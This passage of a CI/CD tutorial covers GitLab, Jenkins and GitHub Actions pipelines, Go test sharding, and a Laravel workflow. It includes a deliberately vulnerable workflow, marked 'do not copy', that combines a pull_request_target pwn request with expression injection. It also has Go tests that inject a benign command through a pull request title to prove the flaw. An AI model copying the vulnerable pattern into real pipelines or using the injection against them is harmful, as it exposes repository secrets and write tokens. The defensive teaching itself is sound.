  GOCACHE: $CI_PROJECT_DIR/.cache/go-build
  GOFLAGS: -mod=readonly

.go-cache:
  cache:
    - key:
        files: [go.sum]
        prefix: gomod
      paths: [.go/pkg/mod/]
      fallback_keys: [gomod-default]
    - key: gobuild-$CI_JOB_NAME_SLUG
      paths: [.cache/go-build/]

lint:
  stage: lint
  image: golangci/golangci-lint:v2.13
  extends: .go-cache
  script:
    - golangci-lint run --timeout 5m

test:
  stage: test
  image: golang:1.27
  extends: .go-cache
  needs: []                     # DAG: start at once, do not wait for the lint stage
  parallel: 3                   # CI_NODE_INDEX 1..3, CI_NODE_TOTAL 3
  script:
    - go vet ./...
    - PKGS=$(go list ./... | awk -v n="$CI_NODE_TOTAL" -v i="$CI_NODE_INDEX" 'NR % n == i - 1')
    - '[ -n "$PKGS" ] || { echo "no packages for this shard"; exit 0; }'
    - go test -race -count=1 -covermode=atomic -coverprofile=cover.out $PKGS
    - go tool cover -func=cover.out | tail -n 1
  coverage: '/total:\s+\(statements\)\s+(\d+\.\d+)%/'
  artifacts:
    when: always
    paths: [cover.out]
    expire_in: 1 week

image:
  stage: build
  extends: .buildx
  needs: [lint, test]
  rules:
    - if: $CI_PIPELINE_SOURCE != "merge_request_event"
  id_tokens:
    SIGSTORE_ID_TOKEN:          # read by cosign automatically
      aud: sigstore
  variables:
    COSIGN_YES: "true"
  script:
    - |
      VERSION="${CI_COMMIT_TAG#v}"
      docker buildx build \
        --platform linux/amd64,linux/arm64 \
        --tag "$CI_REGISTRY_IMAGE:$CI_COMMIT_SHA" \
        ${CI_COMMIT_TAG:+--tag "$CI_REGISTRY_IMAGE:$VERSION"} \
        --build-arg VERSION="${VERSION:-$CI_COMMIT_SHORT_SHA}" \
        --build-arg COMMIT="$CI_COMMIT_SHA" \
        --cache-from "type=registry,ref=$BUILDX_CACHE_REF" \
        --cache-to "type=registry,ref=$BUILDX_CACHE_REF,mode=max" \
        --provenance=mode=max --sbom=true \
        --metadata-file meta.json --push .
    - DIGEST=$(jq -r '."containerimage.digest"' meta.json)
    - cosign sign "$CI_REGISTRY_IMAGE@$DIGEST"   # sign the digest, in the job that built it
    - echo "IMAGE_DIGEST=$DIGEST" > build.env
  artifacts:
    reports:
      dotenv: build.env         # IMAGE_DIGEST becomes a variable in later jobs

verify-image:
  stage: verify
  image: alpine:3.23
  needs: [image]
  rules:
    - if: $CI_PIPELINE_SOURCE != "merge_request_event"
  before_script:
    - apk add --no-cache cosign
    - cosign login "$CI_REGISTRY" -u "$CI_REGISTRY_USER" -p "$CI_REGISTRY_PASSWORD"
  script:
    # Identity = this project's own .gitlab-ci.yml (note the required "//"), any ref of it.
    - cosign verify "$CI_REGISTRY_IMAGE@$IMAGE_DIGEST"
        --certificate-oidc-issuer "$CI_SERVER_URL"
        --certificate-identity-regexp "^${CI_PROJECT_URL}//\.gitlab-ci\.yml@refs/"
        > /dev/null
    - echo "signature ok for $IMAGE_DIGEST"

.deploy:
  stage: deploy
  image: alpine/k8s:1.36.7
  interruptible: false          # never cancel a rollout halfway
  script:
    - kubectl config use-context "acme/agents:$KUBE_AGENT"
    - helm upgrade --install orders-api deploy/chart --namespace orders --atomic --wait
        --set image.repository="$CI_REGISTRY_IMAGE" --set image.digest="$IMAGE_DIGEST"

deploy-staging:
  extends: .deploy
  needs: [image, verify-image]
  resource_group: orders-api-staging   # one deployment at a time, queued in order
  variables:
    KUBE_AGENT: staging
  environment:
    name: staging
    url: https://orders.staging.acme.example
    deployment_tier: staging
  rules:
    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH || $CI_COMMIT_TAG

deploy-production:
  extends: .deploy
  needs: [image, verify-image, deploy-staging]
  resource_group: orders-api-production
  variables:
    KUBE_AGENT: production
  environment:
    name: production               # a protected environment: only approvers can run it
    url: https://orders.acme.example
    deployment_tier: production
  rules:
    - if: $CI_COMMIT_TAG
      when: manual                 # promotion is a button press after staging is green
yaml
# templates/buildx.yml in the acme/ci-templates project, included by app pipelines.
# Holds only the hidden job .buildx; signing stays in each project's own
# .gitlab-ci.yml, because GitLab does not support id_tokens for Sigstore in
# CI files included from another repository.
spec:
  inputs:
    docker-version:
      default: "29"
    cache-repo:
      description: Registry repository that stores the BuildKit cache
      default: $CI_REGISTRY_IMAGE/cache
---
.buildx:
  image: docker:$[[ inputs.docker-version ]]
  services:
    - docker:$[[ inputs.docker-version ]]-dind
  variables:
    DOCKER_TLS_CERTDIR: /certs
    BUILDX_CACHE_REF: $[[ inputs.cache-repo ]]:buildcache
  before_script:
    - apk add --no-cache jq cosign
    - echo "$CI_REGISTRY_PASSWORD" | docker login "$CI_REGISTRY" -u "$CI_REGISTRY_USER" --password-stdin
    - docker buildx create --use --driver docker-container --name ci

And on Jenkins (declarative pipeline, Kubernetes pod agent, parallel fan-out, shared library step, input approval):

groovy
// Jenkinsfile (Declarative Pipeline) for orders-api, using the shared library
// "acme-pipeline" pinned to a tag. Agents are Kubernetes pods (Kubernetes plugin).
@Library('acme-pipeline@v2.4.0') _

pipeline {
    agent {
        kubernetes {
            defaultContainer 'go'
            yaml '''
apiVersion: v1
kind: Pod
spec:
  containers:
    - name: go
      image: golang:1.27
      command: ["sleep"]
      args: ["infinity"]
    - name: lint
      image: golangci/golangci-lint:v2.13
      command: ["sleep"]
      args: ["infinity"]
    - name: docker
      image: docker:29-dind
      securityContext:
        privileged: true   # DinD needs it; prefer rootless BuildKit in hardened clusters
    - name: deploy
      image: alpine/k8s:1.36.7
      command: ["sleep"]
      args: ["infinity"]
'''
        }
    }
    options {
        timeout(time: 30, unit: 'MINUTES')
        // Queue, never abort: this pipeline deploys, and a rollout is never cancelled halfway.
        disableConcurrentBuilds()
        buildDiscarder(logRotator(numToKeepStr: '30'))
    }
    environment {
        GOFLAGS = '-mod=readonly'
        IMAGE   = 'registry.acme.example/orders-api'
        COSIGN_KMS_KEY = 'awskms:///alias/acme-cosign'
    }
    stages {
        stage('Checks') {
            parallel {                          // fan-out ...
                stage('Lint') {
                    steps {
                        container('lint') { sh 'golangci-lint run --timeout 5m' }
                    }
                }
                stage('Test') {
                    steps {
                        sh 'go vet ./...'
                        sh 'go test -race -count=1 -coverprofile=cover.out ./...'
                    }
                    post {
                        always { archiveArtifacts artifacts: 'cover.out', allowEmptyArchive: true }
                    }
                }
            }
        }                                        // ... fan-in: the next stage waits for both
        stage('Image') {
            when {
                anyOf {
                    branch 'main'
                    buildingTag()
                }
            }
            steps {
                // Global variable from vars/buildAndSign.groovy in the shared library.
                buildAndSign(image: env.IMAGE, context: '.', credentialsId: 'registry-push')
            }
        }
        stage('Verify') {
            when {
                anyOf {
                    branch 'main'
                    buildingTag()
                }
            }
            steps {
                container('docker') {
                    // Same KMS key that signed it; refuse anything else before any deploy stage.
                    sh 'cosign verify --key "$COSIGN_KMS_KEY" "$IMAGE@$(cat digest.txt)" > /dev/null && echo "signature ok"'
                }
            }
        }
        stage('Deploy staging') {
            when {
                anyOf {
                    branch 'main'
                    buildingTag()       // a release digest goes through staging first
                }
            }
            steps {
                container('deploy') {
                  withCredentials([file(credentialsId: 'kubeconfig-staging', variable: 'KUBECONFIG')]) {
                    // Single quotes: the shell, not Groovy, expands the variables.
                    sh 'helm upgrade --install orders-api deploy/chart --namespace orders --atomic --wait --set image.digest="$(cat digest.txt)"'
                  }
                }
            }
        }
        stage('Deploy production') {
            when {
                beforeInput true        // evaluate when first: no prompt on non-tag builds
                buildingTag()
            }
            input {
                message 'Promote this digest to production?'
                submitter 'release-managers'
            }
            steps {
                container('deploy') {
                  withCredentials([file(credentialsId: 'kubeconfig-production', variable: 'KUBECONFIG')]) {
                    sh 'helm upgrade --install orders-api deploy/chart --namespace orders --atomic --wait --set image.digest="$(cat digest.txt)"'
                  }
                }
            }
        }
    }
    post {
        failure { echo "Build ${env.BUILD_URL} failed" }
    }
}
groovy
// vars/buildAndSign.groovy in the acme-pipeline shared library repository.
// Called from a Jenkinsfile as: buildAndSign(image: '...', context: '.', credentialsId: '...')
// Runs in the pod's docker container and writes the pushed digest to digest.txt.
def call(Map args) {
    String image = args.image
    String context = args.context ?: '.'
    container(args.container ?: 'docker') {
        withCredentials([usernamePassword(credentialsId: args.credentialsId,
                                          usernameVariable: 'REG_USER',
                                          passwordVariable: 'REG_PASS')]) {
            withEnv(["IMAGE=${image}", "CONTEXT=${context}"]) {
                // Literal (single-quoted) script: secrets stay in the environment and
                // never pass through Groovy string interpolation.
                sh '''
                    set -eu
                    apk add --no-cache jq cosign > /dev/null
                    echo "$REG_PASS" | docker login "${IMAGE%%/*}" -u "$REG_USER" --password-stdin
                    docker buildx create --use --driver docker-container --name ci 2>/dev/null || docker buildx use ci
                    docker buildx build --platform linux/amd64,linux/arm64 \
                      --tag "$IMAGE:$GIT_COMMIT" \
                      --cache-from "type=registry,ref=$IMAGE:buildcache" \
                      --cache-to "type=registry,ref=$IMAGE:buildcache,mode=max" \
                      --provenance=mode=max --sbom=true \
                      --metadata-file meta.json --push "$CONTEXT"
                    jq -r '."containerimage.digest"' meta.json > digest.txt
                    # Jenkins has no OIDC identity that public Fulcio trusts:
                    # sign with a KMS-held key instead of keyless.
                    cosign sign --yes --key "$COSIGN_KMS_KEY" "$IMAGE@$(cat digest.txt)"
                '''
            }
        }
    }
}

The lint configuration the pipelines pin, and the Dependabot file that keeps SHAs, modules, Composer packages and base images current:

yaml
# services/orders-api/.golangci.yml (golangci-lint v2 configuration format)
# CI pins the binary (golangci-lint-action `version: v2.13`) so a new linter
# release cannot turn every build red on the same morning.
version: "2"

linters:
  default: standard          # golangci-lint's default set, plus:
  enable:
    - bodyclose
    - contextcheck
    - errorlint
    - gosec
    - noctx
    - rowserrcheck
    - sqlclosecheck

formatters:
  enable:
    - gofmt
    - goimports

run:
  timeout: 5m
yaml
# .github/dependabot.yml: keeps SHA-pinned actions, Go modules, Composer packages
# and Dockerfile base images current. For an action pinned as
#   uses: actions/checkout@<40-char sha> # v7
# Dependabot opens a PR that bumps both the SHA and the trailing version comment.
version: 2
updates:
  - package-ecosystem: github-actions
    directory: /            # checks .github/workflows (and local actions)
    schedule:
      interval: weekly
    cooldown:
      default-days: 7       # let a fresh release age a week before adopting it
    groups:
      actions:
        patterns: ["*"]

  - package-ecosystem: gomod
    directory: /services/orders-api
    schedule:
      interval: weekly
    groups:
      go-minor-patch:
        update-types: [minor, patch]

  - package-ecosystem: composer
    directory: /apps/shop
    schedule:
      interval: weekly

  - package-ecosystem: docker
    directories: [/services/orders-api, /apps/shop]
    schedule:
      interval: weekly

Security shapes. The vulnerable PR workflow (pwn request plus expression injection), the fixed one, and the safe use of pull_request_target:

yaml
# .github/workflows/pr-checks.yml, INSECURE. Three classic mistakes in one file; do not copy.
name: pr-checks
on:
  pull_request_target:          # (1) runs with the base repo's secrets and a write token
# (2) no permissions: key, so GITHUB_TOKEN gets the repository default
jobs:
  check:
    runs-on: ubuntu-24.04
    steps:
      - uses: actions/checkout@v7
        with:
          ref: ${{ github.event.pull_request.head.sha }}  # fork code ...
          allow-unsafe-pr-checkout: true                  # ... explicitly unlocked
      - run: make lint                                    # ... and executed: a "pwn request"
      - name: Check PR title
        run: |
          title="${{ github.event.pull_request.title }}"  # (3) expression injection
          [[ "$title" =~ ^(feat|fix|chore): ]] || { echo "bad title"; exit 1; }
        env:
          NPM_TOKEN: ${{ secrets.NPM_TOKEN }}             # reachable by both attacks
yaml
# .github/workflows/pr-checks.yml (fixed): untrusted code runs without secrets; untrusted text is data, not syntax.
name: pr-checks
on:
  pull_request:                 # fork PRs: no secrets, read-only GITHUB_TOKEN
permissions:
  contents: read
jobs:
  check:
    runs-on: ubuntu-24.04
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7
        with:
          persist-credentials: false
      - run: make lint
      - name: Check PR title
        env:
          TITLE: ${{ github.event.pull_request.title }}   # value goes into env ...
        run: |
          [[ "$TITLE" =~ ^(feat|fix|chore): ]] || { echo "bad title"; exit 1; }  # ... quoted
yaml
# .github/workflows/pr-label.yml: separate file, separate trust level: label fork PRs without ever checking them out.
name: pr-label
on:
  pull_request_target:
    types: [opened, synchronize]
permissions:
  contents: read
  pull-requests: write
jobs:
  label:
    runs-on: ubuntu-24.04
    steps:
      - uses: actions/labeler@b8dd2d9be0f68b860e7dae5dae7d772984eacd6d # v6      # reads .github/labeler.yml from the BASE branch

Two mechanisms in Go. The runner's expression substitution reproduced in a few lines (module academy/ci-cd-pipelines, stdlib only, go 1.24): Substitute is a plain textual replacement like the runner's, Run executes the result with bash. The tests prove the unsafe shape executes the payload and the env-variable shape does not.

go
// Package injection reproduces, on a laptop, the mechanism behind GitHub
// Actions script injection: the runner substitutes ${{ ... }} expressions into
// the text of a run: script BEFORE the shell parses it, so attacker-controlled
// values (a pull request title, a branch name) become shell syntax.
package injection

import (
	"context"
	"os/exec"
	"regexp"
	"strings"
	"time"
)

// exprRe matches ${{ name }} with optional spaces, like a workflow expression.
var exprRe = regexp.MustCompile(`\$\{\{\s*([A-Za-z0-9_.\-]+)\s*\}\}`)

// Substitute does what the runner does with expressions inside run: text:
// a plain textual replacement. Unknown names become the empty string, as an
// unset context property evaluates to an empty string in GitHub Actions.
func Substitute(script string, values map[string]string) string {
	return exprRe.ReplaceAllStringFunc(script, func(m string) string {
		name := exprRe.FindStringSubmatch(m)[1]
		return values[name]
	})
}

// Run executes script with bash -c (the default shell of a GitHub-hosted
// Linux runner is bash), with extra environment variables and a timeout.
func Run(ctx context.Context, script string, env map[string]string) (string, error) {
	ctx, cancel := context.WithTimeout(ctx, 5*time.Second)
	defer cancel()
	cmd := exec.CommandContext(ctx, "bash", "--noprofile", "--norc", "-e", "-o", "pipefail", "-c", script)
	cmd.Env = []string{"PATH=/usr/bin:/bin"}
	for k, v := range env {
		cmd.Env = append(cmd.Env, k+"="+v)
	}
	out, err := cmd.CombinedOutput()
	return strings.TrimRight(string(out), "\n"), err
}

// Unsafe is the vulnerable pattern: the expression sits inside the script.
const Unsafe = `title="${{ github.event.pull_request.title }}"
echo "checking title: $title"`

// Safe is the documented fix: pass the value through env: and quote the
// variable, so the shell sees data, never syntax.
const Safe = `echo "checking title: $PR_TITLE"`
go
package injection

import (
	"context"
	"strings"
	"testing"
)

// payload closes the quote, runs arithmetic (proof of execution) and reopens it.
const payload = `a"; echo "INJECTED-$((6*7))"; echo "`

func TestSubstituteIsTextual(t *testing.T) {
	got := Substitute(Unsafe, map[string]string{"github.event.pull_request.title": payload})
	want := `title="a"; echo "INJECTED-$((6*7))"; echo ""`
	if !strings.HasPrefix(got, want) {
		t.Fatalf("substituted script:\n%s\nwant prefix:\n%s", got, want)
	}
}

func TestUnsafeExecutesAttackerCode(t *testing.T) {
	script := Substitute(Unsafe, map[string]string{"github.event.pull_request.title": payload})
	out, err := Run(context.Background(), script, nil)
	if err != nil {
		t.Fatalf("run: %v\n%s", err, out)
	}
	if !strings.Contains(out, "INJECTED-42") {
		t.Fatalf("expected the injected arithmetic to run, got:\n%s", out)
	}
}

func TestSafeKeepsPayloadAsData(t *testing.T) {
	out, err := Run(context.Background(), Safe, map[string]string{"PR_TITLE": payload})
	if err != nil {
		t.Fatalf("run: %v\n%s", err, out)
	}
	if strings.Contains(out, "INJECTED-42") {
		t.Fatalf("payload was executed:\n%s", out)
	}
	if !strings.Contains(out, `$((6*7))`) {
		t.Fatalf("expected the literal payload in the output, got:\n%s", out)
	}
}

func TestUnknownExpressionIsEmpty(t *testing.T) {
	if got := Substitute(`x=${{ github.nope }}.`, nil); got != "x=." {
		t.Fatalf("got %q", got)
	}
}
go
// Command injectiondemo prints what the runner would execute for a hostile
// pull request title, then runs the unsafe and the safe step side by side.
package main

import (
	"context"
	"fmt"
	"os"

	"academy/ci-cd-pipelines/injection"
)

func main() {
	title := `a"; echo "INJECTED-$((6*7))"; echo "`
	if len(os.Args) > 1 {
		title = os.Args[1]
	}
	ctx := context.Background()

	script := injection.Substitute(injection.Unsafe, map[string]string{
		"github.event.pull_request.title": title,
	})
	fmt.Println("== script the shell receives (unsafe) ==")
	fmt.Println(script)
	out, err := injection.Run(ctx, script, nil)
	fmt.Println("== output (unsafe) ==")
	fmt.Println(out)
	if err != nil {
		fmt.Println("error:", err)
	}

	out, err = injection.Run(ctx, injection.Safe, map[string]string{"PR_TITLE": title})
	fmt.Println("== output (safe: env + quoted variable) ==")
	fmt.Println(out)
	if err != nil {
		fmt.Println("error:", err)
	}
}

Time-balanced test splitting for Go: parse go test -json timings from a previous run, assign tests longest-first to the lightest shard, and print the -run pattern each matrix cell should use. The test documents that LPT is a heuristic (19 + 17 s where the optimum is 18 + 18) and still beats splitting by count (25 + 11).

go
// Package shard implements time-balanced test splitting: read the timings of
// a previous `go test -json` run, then assign top-level tests to N shards so
// each CI matrix job gets roughly the same wall-clock time.
package shard

import (
	"bufio"
	"encoding/json"
	"fmt"
	"io"
	"regexp"
	"sort"
	"strings"
)

// event is the subset of a `go test -json` (test2json) line we need.
type event struct {
	Action  string  `json:"Action"`
	Package string  `json:"Package"`
	Test    string  `json:"Test"`
	Elapsed float64 `json:"Elapsed"`
}

// Test is one top-level test with its last measured duration in seconds.
type Test struct {
	Package string
	Name    string
	Seconds float64
}

// ParseTestJSON collects pass/fail events of top-level tests (subtests,
// named Parent/child, are counted inside their parent).
func ParseTestJSON(r io.Reader) ([]Test, error) {
	var tests []Test
	sc := bufio.NewScanner(r)
	sc.Buffer(make([]byte, 0, 64*1024), 1024*1024)
	for sc.Scan() {
		line := sc.Bytes()
		if len(line) == 0 || line[0] != '{' {
			continue // build output or plain text mixed into the stream
		}
		var e event
		if err := json.Unmarshal(line, &e); err != nil {
			return nil, fmt.Errorf("parse %q: %w", line, err)
		}
		if e.Test == "" || strings.Contains(e.Test, "/") {
			continue
		}
		if e.Action == "pass" || e.Action == "fail" {
			tests = append(tests, Test{Package: e.Package, Name: e.Test, Seconds: e.Elapsed})
		}
	}
	return tests, sc.Err()
}

// Shard is the work assigned to one CI job.
type Shard struct {
	Index   int
	Seconds float64
	Tests   []Test
}

// Split assigns tests with the longest-processing-time-first rule: sort by
// duration descending, always give the next test to the lightest shard.
// Ties break on name so every job computes the same plan independently.
func Split(tests []Test, n int) []Shard {
	if n < 1 {
		n = 1
	}
	sorted := append([]Test(nil), tests...)
	sort.Slice(sorted, func(i, j int) bool {
		if sorted[i].Seconds != sorted[j].Seconds {
			return sorted[i].Seconds > sorted[j].Seconds
		}
		return sorted[i].Package+"."+sorted[i].Name < sorted[j].Package+"."+sorted[j].Name
	})
	shards := make([]Shard, n)
	for i := range shards {
		shards[i].Index = i + 1
	}
	for _, t := range sorted {
		lightest := 0
		for i := 1; i < n; i++ {
			if shards[i].Seconds < shards[lightest].Seconds {
				lightest = i
			}
		}
		shards[lightest].Tests = append(shards[lightest].Tests, t)
		shards[lightest].Seconds += t.Seconds
	}
	return shards
}

// RunPattern returns the -run regular expression for one package in a shard,
// for example ^(TestCheckout|TestRefund)$.
func (s Shard) RunPattern(pkg string) string {
	var names []string
	for _, t := range s.Tests {
		if t.Package == pkg {
			names = append(names, regexp.QuoteMeta(t.Name))
		}
	}
	if len(names) == 0 {
		return ""
	}
	sort.Strings(names)
	return "^(" + strings.Join(names, "|") + ")$"
}
go
package shard

import (
	"math"
	"strings"
	"testing"
)

const sample = `{"Action":"run","Package":"shop/orders","Test":"TestCheckout"}
{"Action":"pass","Package":"shop/orders","Test":"TestCheckout/empty_cart","Elapsed":0.4}
{"Action":"pass","Package":"shop/orders","Test":"TestCheckout","Elapsed":12.0}
{"Action":"pass","Package":"shop/orders","Test":"TestRefund","Elapsed":7.0}
{"Action":"fail","Package":"shop/orders","Test":"TestInvoicePDF","Elapsed":6.0}
{"Action":"pass","Package":"shop/stock","Test":"TestReserve","Elapsed":5.0}
{"Action":"pass","Package":"shop/stock","Test":"TestRelease","Elapsed":4.0}
{"Action":"pass","Package":"shop/stock","Test":"TestSync","Elapsed":2.0}
{"Action":"pass","Package":"shop/stock","Elapsed":11.5}
`

func TestParseSkipsSubtestsAndPackageEvents(t *testing.T) {
	tests, err := ParseTestJSON(strings.NewReader(sample))
	if err != nil {
		t.Fatal(err)
	}
	if len(tests) != 6 {
		t.Fatalf("got %d tests, want 6: %+v", len(tests), tests)
	}
}

func TestSplitBalancesByTime(t *testing.T) {
	tests, _ := ParseTestJSON(strings.NewReader(sample))
	shards := Split(tests, 2)
	// 36 s total. LPT is a heuristic: it yields 19 + 17 here
	// (12+5+2 and 7+6+4), while the optimum is 18 + 18. Splitting by
	// count instead (3 + 3 tests in file order) could give 25 + 11.
	got := []float64{shards[0].Seconds, shards[1].Seconds}
	if math.Abs(got[0]-19) > 1e-9 || math.Abs(got[1]-17) > 1e-9 {
		t.Fatalf("got %v, want [19 17]: %+v", got, shards)
	}
}

func TestSplitIsDeterministicAndComplete(t *testing.T) {
	tests, _ := ParseTestJSON(strings.NewReader(sample))
	a, b := Split(tests, 3), Split(tests, 3)
	seen := map[string]bool{}
	for i := range a {
		if a[i].RunPattern("shop/orders") != b[i].RunPattern("shop/orders") {
			t.Fatal("two jobs computed different plans")
		}
		for _, tt := range a[i].Tests {
			if seen[tt.Name] {
				t.Fatalf("%s assigned twice", tt.Name)
			}
			seen[tt.Name] = true
		}
	}
	if len(seen) != len(tests) {
		t.Fatalf("assigned %d of %d tests", len(seen), len(tests))
	}
}

func TestRunPattern(t *testing.T) {
	s := Shard{Tests: []Test{{Package: "p", Name: "TestB"}, {Package: "p", Name: "TestA"}, {Package: "q", Name: "TestC"}}}
	if got := s.RunPattern("p"); got != "^(TestA|TestB)$" {
		t.Fatalf("got %q", got)
	}
	if got := s.RunPattern("missing"); got != "" {
		t.Fatalf("got %q", got)
	}
}

func TestSplitMoreShardsThanTests(t *testing.T) {
	shards := Split([]Test{{Package: "p", Name: "TestOnly", Seconds: 1}}, 4)
	if len(shards) != 4 || shards[0].Seconds != 1 || shards[3].Seconds != 0 {
		t.Fatalf("%+v", shards)
	}
}
go
// Command shardplan reads `go test -json` output on stdin and prints, for
// shard K of N, the `go test -run` command lines that job should execute.
//
//	go test -json ./... > timings.json
//	shardplan -shard 2 -of 4 < timings.json
package main

import (
	"flag"
	"fmt"
	"log"
	"os"
	"sort"

	"academy/ci-cd-pipelines/shard"
)

func main() {
	k := flag.Int("shard", 1, "this job's shard number, 1-based")
	n := flag.Int("of", 1, "total number of shards")
	flag.Parse()
	if *k < 1 || *k > *n {
		log.Fatalf("shard %d of %d is out of range", *k, *n)
	}

	tests, err := shard.ParseTestJSON(os.Stdin)
	if err != nil {
		log.Fatal(err)
	}
	plan := shard.Split(tests, *n)
	for _, s := range plan {
		fmt.Fprintf(os.Stderr, "shard %d: %d tests, %.2fs\n", s.Index, len(s.Tests), s.Seconds)
	}

	mine := plan[*k-1]
	pkgs := map[string]bool{}
	for _, t := range mine.Tests {
		pkgs[t.Package] = true
	}
	var names []string
	for p := range pkgs {
		names = append(names, p)
	}
	sort.Strings(names)
	for _, p := range names {
		fmt.Printf("go test -race -count=1 -run '%s' %s\n", mine.RunPattern(p), p)
	}
}
text
module academy/ci-cd-pipelines

go 1.24

The Go angle ​

  • Two caches, two variables. GOMODCACHE holds downloaded modules (default $GOPATH/pkg/mod), GOCACHE holds compiled packages and test results (go env GOCACHE; ~/.cache/go-build on Linux). actions/setup-go caches both; set cache-dependency-path: go.sum because the default key "is based on go.mod". On GitLab both must live under $CI_PROJECT_DIR.
  • -count=1 in CI. Go caches successful test results keyed on the binary and inputs; on a persistent runner a cached "ok" can hide an environment change. Hosted runners start empty anyway, but -count=1 makes the intent explicit. -race needs cgo (a C toolchain), which the golang images and GitHub's Ubuntu runners have.
  • GOFLAGS=-mod=readonly makes the build fail instead of silently editing go.mod; a missing go.sum entry is then a red build, not a surprise diff.
  • Pin the linter, not just the action. golangci-lint-action version: v2.13 and a version: "2" config; golangci-lint's CI page: "It's highly recommended installing a specific version". The action caches its own analysis.
  • Matrix over toolchains. go-version-file: go.mod tests the version you declare; go-version: stable warns you before the next release lands. ubuntu-24.04-arm runs arm64 natively, so the arm64 image ships tested code.
  • Cross-compile, do not emulate. The Dockerfile from Images & Dockerfiles builds GOARCH=$TARGETARCH on the native platform, so platforms: linux/amd64,linux/arm64 costs one extra link step, not a QEMU build.
  • Splitting. For suites big enough to shard, store go test -json output as an artifact on main and feed it to the shard package (or a tool such as gotestsum); otherwise split by package (the GitLab file does that with awk over go list).
  • More: Testing & Benchmarking for -race, coverage and -json, Project Layout, Linting & Build for golangci-lint configuration and Makefiles.

Laravel ​

The Laravel app is apps/shop in the same monorepo (and acme/shop on GitLab), with the multi-stage Dockerfile from Images & Dockerfiles (--target app).

Before ​

yaml
# .github/workflows/shop.yml, BEFORE (do not copy)
on: push
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v7
      - uses: shivammathur/setup-php@v2
        with: { php-version: "8.4" }
      - run: composer install                     # no cache, dev deps, no lock check
      - run: php artisan test                     # SQLite in memory: MySQL behaviour untested
  deploy:
    needs: test
    runs-on: ubuntu-latest
    steps:
      - run: ssh deploy@prod "cd /var/www/shop && git pull && composer install && php artisan migrate --force"
        # builds on the server, migrates from every branch push, no approval, no rollback artefact

After ​

The composite action that sets up PHP, extensions, the Composer cache and dependencies in one uses: line:

yaml
# .github/actions/setup-laravel/action.yml: a composite action = reusable STEPS.
# Every run step in a composite action must declare its shell.
name: Setup Laravel
description: PHP + extensions, Composer cache keyed on composer.lock, composer install
inputs:
  php-version:
    description: PHP version for shivammathur/setup-php
    default: "8.4"
  working-directory:
    description: Laravel application root
    default: apps/shop
  coverage:
    description: none, pcov or xdebug
    default: none
runs:
  using: composite
  steps:
    - uses: shivammathur/setup-php@eb7c497e18156a6bbabfef1d3a82760b9eda3962 # v2
      with:
        php-version: ${{ inputs.php-version }}
        extensions: mbstring, intl, pdo_pgsql, zip, bcmath, pcntl
        coverage: ${{ inputs.coverage }}
        tools: composer:v2

    - id: composer-cache
      shell: bash
      working-directory: ${{ inputs.working-directory }}
      run: echo "dir=$(composer config cache-files-dir)" >> "$GITHUB_OUTPUT"

    - uses: actions/cache@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6
      with:
        path: ${{ steps.composer-cache.outputs.dir }}
        key: composer-${{ runner.os }}-php${{ inputs.php-version }}-${{ hashFiles(format('{0}/composer.lock', inputs.working-directory)) }}
        restore-keys: |
          composer-${{ runner.os }}-php${{ inputs.php-version }}-

    - shell: bash
      working-directory: ${{ inputs.working-directory }}
      run: composer install --no-interaction --no-progress --prefer-dist --optimize-autoloader

The workflow: Pint and PHPStan (with PHPStan's result-cache pattern), Pest in three time-balanced shards on a PostgreSQL 18 service container with migrations and the smoke tests run first on every shard, a coverage fan-in job, the shared image workflow, then staging and an approved production deploy of the same digest; each deploy job verifies the signature and provenance, then runs the migration Job and the rollout under one concurrency group:

yaml
# .github/workflows/laravel-app.yml in the acme/commerce monorepo
# quality + sharded Pest on PostgreSQL (fan-out) -> coverage (fan-in) -> image ->
# staging (verify, migrate, roll out) -> (approval) production (verify, migrate, roll out)
# PostgreSQL because the production image (docker-images-dockerfiles) ships pdo_pgsql.
name: laravel-app

on:
  push:
    branches: [main]
    tags: ["shop/v*.*.*"]
    paths:
      - "apps/shop/**"
      - ".github/workflows/laravel-app.yml"
      - ".github/actions/**"
  pull_request:
    paths:
      - "apps/shop/**"
      - ".github/workflows/laravel-app.yml"
      - ".github/actions/**"

permissions:
  contents: read

concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: ${{ github.event_name == 'pull_request' }}

defaults:
  run:
    working-directory: apps/shop

jobs:
  quality:
    runs-on: ubuntu-24.04
    timeout-minutes: 10
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7
        with:
          persist-credentials: false
      - uses: ./.github/actions/setup-laravel
      - run: vendor/bin/pint --test
      # Caches are immutable per key: a unique key per run plus a prefix restore-key
      # is PHPStan's documented pattern for carrying its result cache forward.
      - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6
        with:
          path: apps/shop/tmp
          key: phpstan-result-cache-${{ github.run_id }}
          restore-keys: phpstan-result-cache-
      - run: vendor/bin/phpstan analyse --error-format=github --memory-limit=1G
      - uses: actions/cache/save@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6
        if: ${{ !cancelled() }}
        with:
          path: apps/shop/tmp
          key: phpstan-result-cache-${{ github.run_id }}

  test:
    runs-on: ubuntu-24.04
    timeout-minutes: 20
    strategy:
      fail-fast: false
      matrix:
        shard: [1, 2, 3]
    services:
      postgres:
        image: postgres:18
        env:
          POSTGRES_DB: testing
          POSTGRES_PASSWORD: postgres
        ports:
          - 5432:5432
        options: >-
          --health-cmd pg_isready
          --health-interval 5s --health-timeout 3s --health-retries 20
    env:
      APP_ENV: testing
      DB_CONNECTION: pgsql
      DB_HOST: 127.0.0.1
      DB_PORT: 5432
      DB_DATABASE: testing
      DB_USERNAME: postgres
      DB_PASSWORD: postgres
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7
        with:
          persist-credentials: false
      - uses: ./.github/actions/setup-laravel
        with:
          coverage: pcov
      - run: cp .env.example .env && php artisan key:generate
      - name: Migrations apply cleanly on an empty PostgreSQL 18
        run: php artisan migrate --force
      - name: Pipeline smoke tests on every shard (driver, /up, nothing pending)
        run: vendor/bin/pest --ci tests/Pipeline
      - name: Pest, time-balanced shard
        env:
          SHARD: ${{ matrix.shard }}
        run: vendor/bin/pest --ci --testsuite=Feature,Unit --shard="$SHARD/3" --coverage-clover "coverage-$SHARD.xml"
